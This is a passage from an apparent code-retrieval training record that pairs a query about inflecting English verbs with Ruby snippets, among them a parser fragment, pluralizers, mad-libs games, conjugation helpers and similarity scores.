raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 59, 2)\n raise nvae\n end\n elsif (look_59_1 == RULE_REF) \n look_59_3 = @input.peek(3)\n\n if (look_59_3.between?(T__89, T__90)) \n alt_59 = 1\n elsif (look_59_3 == LABEL_ASSIGN) \n alt_59 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 59, 3)\n raise nvae\n end\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 59, 1)\n raise nvae\n end\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 59, 0)\n raise nvae\n end\n case alt_59\n when 1\n # at line 283:4: '<' qid '>'\n char_literal118 = match(T__88, TOKENS_FOLLOWING_T__88_IN_element_options_1949) \n if @state.backtracking == 0\n stream_T__88.add(char_literal118)\n end\n @state.following.push(TOKENS_FOLLOWING_qid_IN_element_options_1951)\n qid119 = qid\n @state.following.pop\n if @state.backtracking == 0\n stream_qid.add(qid119.tree)\n end\n char_literal120 = match(T__89, TOKENS_FOLLOWING_T__89_IN_element_options_1953) \n if @state.backtracking == 0\n stream_T__89.add(char_literal120)\n end\n # AST Rewrite\n # elements: qid\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 283:21: -> ^( OPTIONS qid )\n # at line 283:24: ^( OPTIONS qid )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create_from_type!(OPTIONS, \"OPTIONS\"), root_1)\n\n @adaptor.add_child(root_1, stream_qid.next_tree)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 284:4: '<' option ( ';' option )* '>'\n char_literal121 = match(T__88, TOKENS_FOLLOWING_T__88_IN_element_options_1971) \n if @state.backtracking == 0\n stream_T__88.add(char_literal121)\n end\n @state.following.push(TOKENS_FOLLOWING_option_IN_element_options_1973)\n option122 = option\n @state.following.pop\n if @state.backtracking == 0\n stream_option.add(option122.tree)\n end\n # at line 284:15: ( ';' option )*\n loop do #loop 58\n alt_58 = 2\n look_58_0 = @input.peek(1)\n\n if (look_58_0 == T__71) \n alt_58 = 1\n\n end\n case alt_58\n when 1\n # at line 284:16: ';' option\n char_literal123 = match(T__71, TOKENS_FOLLOWING_T__71_IN_element_options_1976) \n if @state.backtracking == 0\n stream_T__71.add(char_literal123)\n end\n @state.following.push(TOKENS_FOLLOWING_option_IN_element_options_1978)\n option124 = option\n @state.following.pop\n if @state.backtracking == 0\n stream_option.add(option124.tree)\n end\n\n else\n break #loop 58\n end\n end\n char_literal125 = match(T__89, TOKENS_FOLLOWING_T__89_IN_element_options_1982) \n if @state.backtracking == 0\n stream_T__89.add(char_literal125)\n end\n # AST Rewrite\n # elements: option\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 284:33: -> ^( OPTIONS ( option )+ )\n # at line 284:36: ^( OPTIONS ( option )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create_from_type!(OPTIONS, \"OPTIONS\"), root_1)\n\n # at line 284:46: ( option )+\n unless stream_option.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_option.has_next?\n @adaptor.add_child(root_1, stream_option.next_tree)\n\n end\n\n stream_option.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 25)\n\n end\n \n return return_value\n end", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def structure(adjective, noun, verb, style)\n self.value = \"A #{adjective.value} #{noun.value}, #{verb.value} in the style of #{style.value}\"\n end", "def verbalise\n \"Constellation over #{vocabulary.name}:\\n\" +\n vocabulary.object_type.keys.sort.map do |object_type|\n klass = vocabulary.const_get(object_type)\n\n single_roles, multiple_roles = klass.all_role.\n partition do |n, r|\n r.unique && # Show only single-valued roles\n !r.is_identifying && # Unless identifying\n (r.unary? || !r.counterpart.is_identifying) # Or identifies a counterpart\n end.\n map do |rs|\n rs.map{|n, r| n}.\n sort_by(&:to_s)\n end\n\n instances = send(object_type.to_sym)\n next nil unless instances.size > 0\n \"\\tEvery #{object_type}:\\n\" +\n instances.map do |key, instance|\n s = \"\\t\\t\" + instance.verbalise\n if (single_roles.size > 0)\n role_values = \n single_roles.map do |role_name|\n #p klass, klass.all_role.keys; exit\n next nil if klass.all_role(role_name).fact_type.is_a?(TypeInheritanceFactType)\n value =\n if instance.respond_to?(role_name)\n value = instance.send(role_name)\n else\n instance.class.all_role(role_name) # This role has not yet been realised\n end\n [ role_name.to_s.camelcase, value ]\n end.compact.select do |role_name, value|\n value\n end.map do |role_name, value|\n \"#{role_name} = #{value ? value.verbalise : \"nil\"}\"\n end\n s += \" where \" + role_values*\", \" if role_values.size > 0\n end\n s\n end * \"\\n\"\n end.compact*\"\\n\"\n end", "def mad_libs\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adj = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n puts \"\\nDo you #{verb} your #{adj} #{noun} #{adverb}? That's hilarious!\\n\\n\"\nend", "def accept_for_adoption\n \n output_strings = []\n # Check to see if there are any clients \n if @clients.empty?\n output_strings << \"There are no clients. In order to put up an animal for adoption, person must be a client first.\"\n else\n # collection info needed to adopt (name of client, and pet)\n puts(\"-- Collect Adoption Information --\")\n adopting_client = input_valid_client()\n\n if adopting_client.number_of_pets == 0\n output_strings << \"#{adopting_client.name} does not have any pets to give...\"\n else\n # at this point, we know we have a valid client, who does have at least 1 pet.\n current_pet = adopting_client.turnover_pet() # returns chosen pet, and pet is removed from client list\n\n # add pet to shelter animal list\n # note, not capturing the output string (return val) from this method call. -keeps display less cluttered.\n add_animal(current_pet) \n \n output_strings << \"#{adopting_client.name} has given #{current_pet.name} to the shelter, to find a better home.\"\n end\n end\n end", "def explain3(options={})\n animal = options.fetch(:the) { \"cow\" }\n sound = options.fetch(:says){ \"moo\" }\n \"the #{animal} says #{sound}\"\nend", "def convert_opt_in_to_words (opt_in_value_num)\n if opt_in_value_num == 0\n opt_in_text = \"no\"\n elsif opt_in_value_num\n opt_in_text = \"yes\"\n end\n end", "def get_quote(person)\n case person\n when 'Yoda'\n 'Do. Or do not. There is no try.'\n when 'Confucius'\n 'I hear and I forget. I see and I remember. I do and I understand.'\n else\n 'Do not worry about your difficulties in Mathematics. I can assure you mine are still greater.'\n end\nend", "def opinion_params\n params.require(:opinion).permit(:authorId, :text)\n end", "def nouns\n {\"cat\" => [\"cats\", \"cat\"], \"hero\" => [\"heroes\"]}\n end", "def noun; end", "def noun; end" ]
[ "0.59932154", "0.5867925", "0.5781977", "0.5624133", "0.55947804", "0.5487107", "0.5361296", "0.5334847", "0.53338236", "0.52916795", "0.52914923", "0.5227277", "0.51904595", "0.5175002", "0.51408833", "0.5113212", "0.50876766", "0.5042484", "0.5030979", "0.501756", "0.49953377", "0.49853644", "0.49588493", "0.49539784", "0.49476132", "0.49186912", "0.49027884", "0.48951507", "0.48939618", "0.4872267", "0.48706245", "0.48581228", "0.48537984", "0.48537228", "0.48518115", "0.48415068", "0.4829788", "0.48225793", "0.4820265", "0.48152706", "0.48039728", "0.4800894", "0.47895172", "0.47892383", "0.47812515", "0.47769618", "0.47558525", "0.47548392", "0.47313246", "0.47200724", "0.47148898", "0.4703354", "0.46997866", "0.46893266", "0.46882576", "0.46799695", "0.46773154", "0.46731573", "0.46619433", "0.46609664", "0.46563354", "0.46479112", "0.46478724", "0.46457073", "0.46402133", "0.46349436", "0.46337086", "0.46317124", "0.4630736", "0.46285868", "0.46269402", "0.4624799", "0.46223474", "0.46211797", "0.46184748", "0.46095344", "0.460747", "0.4606218", "0.46008018", "0.45986053", "0.45918116", "0.45908797", "0.45841366", "0.45839772", "0.45798904", "0.45764235", "0.45732257", "0.45657173", "0.45627764", "0.4561941", "0.45523995", "0.45521173", "0.45459932", "0.45456165", "0.4541959", "0.4540932", "0.453964", "0.4535536", "0.4533311", "0.4533311" ]
0.63962233
0
Change the form to express the proper grammatical function Params: infinitive,the given verb inflection, form to be changed person, an option given by the user plurality, an option given by the user mood, an option given by the user
def inflect(infinitive, inflection, person, plurality, mood) send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def form_for(tense, aspect, diathesis)\n form = []\n case diathesis\n when :active\n if tense == :future\n form << 'will'\n form << :infinitive if aspect == :habitual\n form.concat ['have', :past_participle] if aspect == :perfect\n form.concat ['be having', :past_participle] if aspect == :perfective\n form.concat ['be', :present_participle] if aspect == :progressive\n form.concat ['be about to', :infinitive] if aspect == :prospective\n else\n form.concat ['used to', :infinitive] if [tense, aspect] == %i[past habitual]\n form.concat %i[have past_participle] if aspect == :perfect\n form << :past if [tense, aspect] == %i[past perfective]\n form.concat %i[be present_participle] if aspect == :progressive\n form.concat [:be, 'about to', :infinitive] if aspect == :prospective\n form << :present if [tense, aspect] == %i[present habitual]\n form.concat [:be, 'having', :past_participle] if [tense, aspect] == %i[present perfective]\n end\n when :passive\n if tense == :future\n form << 'will'\n form.concat ['be', :past_participle] if aspect == :habitual\n form.concat ['have been', :past_participle] if aspect == :perfect\n form.concat ['be being', :past_participle] if aspect == :progressive\n form.concat ['be about to be', :past_participle] if aspect == :prospective\n else\n form.concat ['used to be', :past_participle] if [tense, aspect] == %i[past habitual]\n form.concat [:have, 'been', :past_participle] if aspect == :perfect\n form.concat %i[be past_participle] if [tense, aspect] == %i[past perfective]\n form.concat [:be, 'being', :past_participle] if aspect == :progressive\n form.concat [:be, 'about to be', :past_participle] if aspect == :prospective\n form.concat %i[be past_participle] if [tense, aspect] == %i[present habitual]\n end\n end\n form\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @noun.downcase == 'moose' && @number >1\n @noun = 'moose'\n elsif @noun.downcase == 'goose' && @number >1\n @noun = 'geese'\n elsif @noun.downcase == 'child' && @number >1\n @noun = 'children'\n elsif @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pluralizer_2 (noun, number)\n if noun == \"foot\" && number > 1\n puts \"#{number} feet\"\n elsif noun == \"family\" && number > 1\n puts \"#{number} families\"\n elsif noun == \"person\" && number > 1\n puts \"#{number} people\"\n elsif number == 0 || number == 1\n puts \"#{number} #{noun}\"\n elsif number > 1\n puts \"#{number} #{noun}s\"\n else \n puts \"Please enter a valid positive number and noun\"\n end\nend", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def add_forms_to_lexicon\n word = self\n forms = self.extract_verb_forms\n forms.each do |form|\n Lexicon.create!(item: form, kanji: word.word, hiragana: word.hiragana, romaji: word.reading, word: word)\n end\n end", "def ing_form; end", "def pluralizer(noun, num)\n if num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pluralizer(noun, num)\n if num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def word_form\n self.form.value.each_char.map.with_index do |char,index|\n case self.letter_case[index]\n when \"M\"\n char.upcase\n when \"+\",nil\n if self.letter_case[-2] == \"M\"\n char.upcase\n else\n char\n end\n else\n char\n end\n end.join(\"\")\n end", "def noun; end", "def noun; end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def form; end", "def show\n @verb_forms = @verb.forms\n @verb_forms_tab = Hash.new\n @tenses.each_with_index do |tense, index|\n @verb_forms_tab[tense] = Hash.new\n @forms.each_with_index do |form, index2|\n temp = @verb_forms.where(:temp => index.to_i, :person => index2.to_i).first\n @verb_forms_tab[tense][form] = temp ? temp.content : ''\n end\n end\n\n end", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def formation; end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def ingverb; end", "def structure(adjective, noun, verb, style)\n self.value = \"A #{adjective.value} #{noun.value}, #{verb.value} in the style of #{style.value}\"\n end", "def forms; end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def set_form(easy)\n end", "def init(phrase)\n super(phrase)\n self.mode = LITERAL_MODE\n self.pieces = []\n self.pf0 = nil # plural forms without name yet\n end", "def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n elsif num == 1 \n \"#{num} #{noun}\"\n elsif num != 1 && noun == goose\n \"#{num}, geese\"\n end\nend", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def make_Input_Form(input_form)\n\n\t#\n\tif input_form == 2\n\t\tinputGeneralForm = { :inputName_1 => \"animal_1\",\t\n\t\t\t\t\t\t\t:inputClass_1 => \"MyAnimal_1\",\n\t\t\t\t\t\t\t:inputURL_1 => \"\",\n\t\t\t\t\t\t\t:inputName_2 => \"animal_2\",\n\t\t\t\t\t\t\t:inputClass_2 => \"MyAnimal_2\", \n\t\t\t\t\t\t\t:inputURL_2 => \"\",\n\t\t\t\t\t\t\t:input_ontology_key => \"ontology\", \n\t\t\t\t\t\t\t:input_class_key => \"Class\", \n\t\t\t\t\t\t\t:inputNameEnd => \"=\",\n\t\t\t\t\t\t\t:inputClassSeparate => \":\",\n\t\t\t\t\t\t\t:inputEnd => \"end\"}\n\t\treturn inputGeneralForm\n\telse\n\t\treturn \"No Input\" \n\tend\n\nend", "def pluralizer (noun, number)\n if number == 0 || number == 1\n puts \"#{number} #{noun}\"\n elsif number > 1\n puts \"#{number} #{noun}s\"\n else \n puts \"Please enter a valid positive number\"\n end\nend", "def madlibs\n puts \"Enter a noun:\"\n noun = gets.chomp\n puts \"Enter a verb:\"\n verb = gets.chomp\n puts \"Enter an adjective:\"\n adjective = gets.chomp\n puts \"Enter an adverb:\"\n adverb = gets.chomp\n\n puts \"Do you still #{verb} your #{adjective} #{noun} #{adverb} everyday?\"\nend", "def spoofForm(val)\n @deltaflag = false\n @form = val\n end", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n \"#{number} #{noun}s\"\n end\nend", "def mad_libs\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adj = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n puts \"\\nDo you #{verb} your #{adj} #{noun} #{adverb}? That's hilarious!\\n\\n\"\nend", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def word_form=(string)\n self.letter_case = string.each_char.map do |char|\n case char\n when /\\p{Lower}/\n \"m\"\n when /\\p{Upper}/\n \"M\"\n else\n \"x\"\n end\n end.join(\"\").sub(/(.)(\\1)+$/,\"\\\\1+\")\n string.downcase!\n rlp_form = Rlp::Grammar::WordForm.find_by_value(string)\n if rlp_form.nil?\n rlp_form = Rlp::Grammar::WordForm.new(:value => string)\n rlp_form.store\n end\n self.form = rlp_form\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def madlib\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adjective = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n\n puts \"The #{noun} wants to #{verb} #{adverb} but runs into the same #{adjective} problem.\"\nend", "def people_form_method(person)\n\t\tif person.new_record?\n\t\t\t@method = \"post\"\n\t\telse\n\t\t\t@method = \"put\"\n\t\tend\n\t\t@method\n\tend", "def pluralizer num, noun\n if num == 1\n \"#{num} #{noun}\"\n else\n \"#{num} #{noun}s\"\n end\nend", "def show\n @vig= Vig.find(params[:vig_id])\n @member = @vig.member\n\n @formulario = Form.new( name: \"Javier\" )\n @test.questions.each do |q|\n case q.type\n when 'section'\n @input = @formulario.members.build type: 'section', name: q.content\n q.questions.each do |question|\n if question.type == 'check'\n @answer = @input.answers.build( type: 'checkbox', content: question.content, id_question: question.id )\n question.options_answers.each do |opt|\n @answer.answers << Answer.new(vig_id: @vig.id , type: 'radio', question: question, option: opt )\n end\n else\n @input.answers << Answer.new( note: nil, question: question, type: 'text_field' )\n end\n end\n when 'text', 'textarea'\n @input = @formulario.members.build type: 'text_field', name: q.content\n @input.answers << Answer.new( note: nil, question: q )\n when 'check'\n\n @input = @formulario.members.build type: 'checkbox', name: q.content, id_question:q.id\n q.options_answers.each do |question|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: question )\n end\n when 'nested'\n puts \"NESTED\"\n # create the input member\n @input = @formulario.members.build type: 'nested', name: q.content\n \n # create nested member\n q.questions.each do |question|\n member = @input.inputs.build( type:question.type, name:question.content, id_question: question.id )\n if member.type == 'section'\n question.questions.each do |a|\n member.answers << Answer.new( note: nil, question: question )\n end\n else \n question.options_answers.each do |opt|\n member.answers << Answer.new( vig_id: @vig.id, type:'radio', question:question, option: opt )\n end\n end\n end\n\n # added opt answers\n q.options_answers.each do |opt|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: opt )\n end\n else\n #puts @input.name\n end\n end\n\n #@questions= @test.questions\n #@answers = Array.new(@questions.count){Answer.new}\n #\n end", "def setForm(value)\r\n oldForm = @form\r\n @form = value\r\n @ability = nil\r\n yield if block_given?\r\n MultipleForms.call(\"onSetForm\", self, value, oldForm)\r\n calc_stats\r\n $Trainer.pokedex.register(self)\r\n end", "def pluralizer string, number\n if n == 1 \n puts \"#{number} #{string}\"\n elsif string == \"person\"\n puts \"#{number} people\"\n elsif string == \"child\"\n puts \"#{number} children\"\n elsif string == \"goose\"\n puts \"#{number} geese\"\n elsif n > 1 \n puts \"#{number} #{string}s\"\n end\nend", "def mad_lib\n puts \"Welcome to my Mad Lib! Let's get stupid.\"\n puts \"Please enter a noun.\"\n noun1 = gets.chomp\n puts \"Please enter a verb (past tense).\"\n verb1 = gets.chomp\n puts \"Please enter an adjective.\"\n adjective1 = gets.chomp\n puts \"Okay! That's a good start, but to make this truly stupid, let's get one more round of input!\"\n puts \"Please enter another noun.\"\n noun2 = gets.chomp\n puts \"Please enter another verb (past tense).\"\n verb2 = gets.chomp\n puts \"Please enter another adjective.\"\n adjective2 = gets.chomp\n puts \"All right! Here's your paragraph:\"\n puts \"#{noun1} and #{noun2} went up the hill to fetch a pail of #{adjective1} water. #{noun1} #{verb1} and #{verb2} their #{adjective2} crown and #{noun2} left that clumsy idiot at the bottom of that hill.\"\nend", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def short_form!\n options[:form] = 'short'\n self\n end", "def essay_writer(title, person, date, thesis_statement, gender)\n\nif gender == \"female\"\n pronoun_1 = \"she\"\n pronoun_2 = \"her\" \nelse \n pronoun_1 = \"he\"\n pronoun_2 = \"his\"\nend \n \n\"#{title}\n \n #{person.capitalize} was important in #{date}. #{pronoun_1.capitalize} were great because of #{pronoun_2} work. #{thesis_statement}.\" \n \n end", "def pluralizer (num, noun)\n return \"#{num} #{noun}\"\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend", "def basic_stem\n # undo some euphonic changes so that we can recover\n # the basic stem\n form = @first_form.sub(/(?:μμαι)$/,'πμαι') # palatal\n form = form.sub(/(?:σμαι)$/,'τμαι') # dental\n form = form.sub(/(?:ουμαι)$/,'εομαι') # future contracted deponents\n\n # now remove the ending\n form.sub(/(?:ω|ον|α|ομαι|μαι|ην)$/,'')\n end", "def new\n @irregular_verb = IrregularVerb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def noun_params\n params.require(:noun).permit(:name)\n end", "def find(any_verb_form)\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, 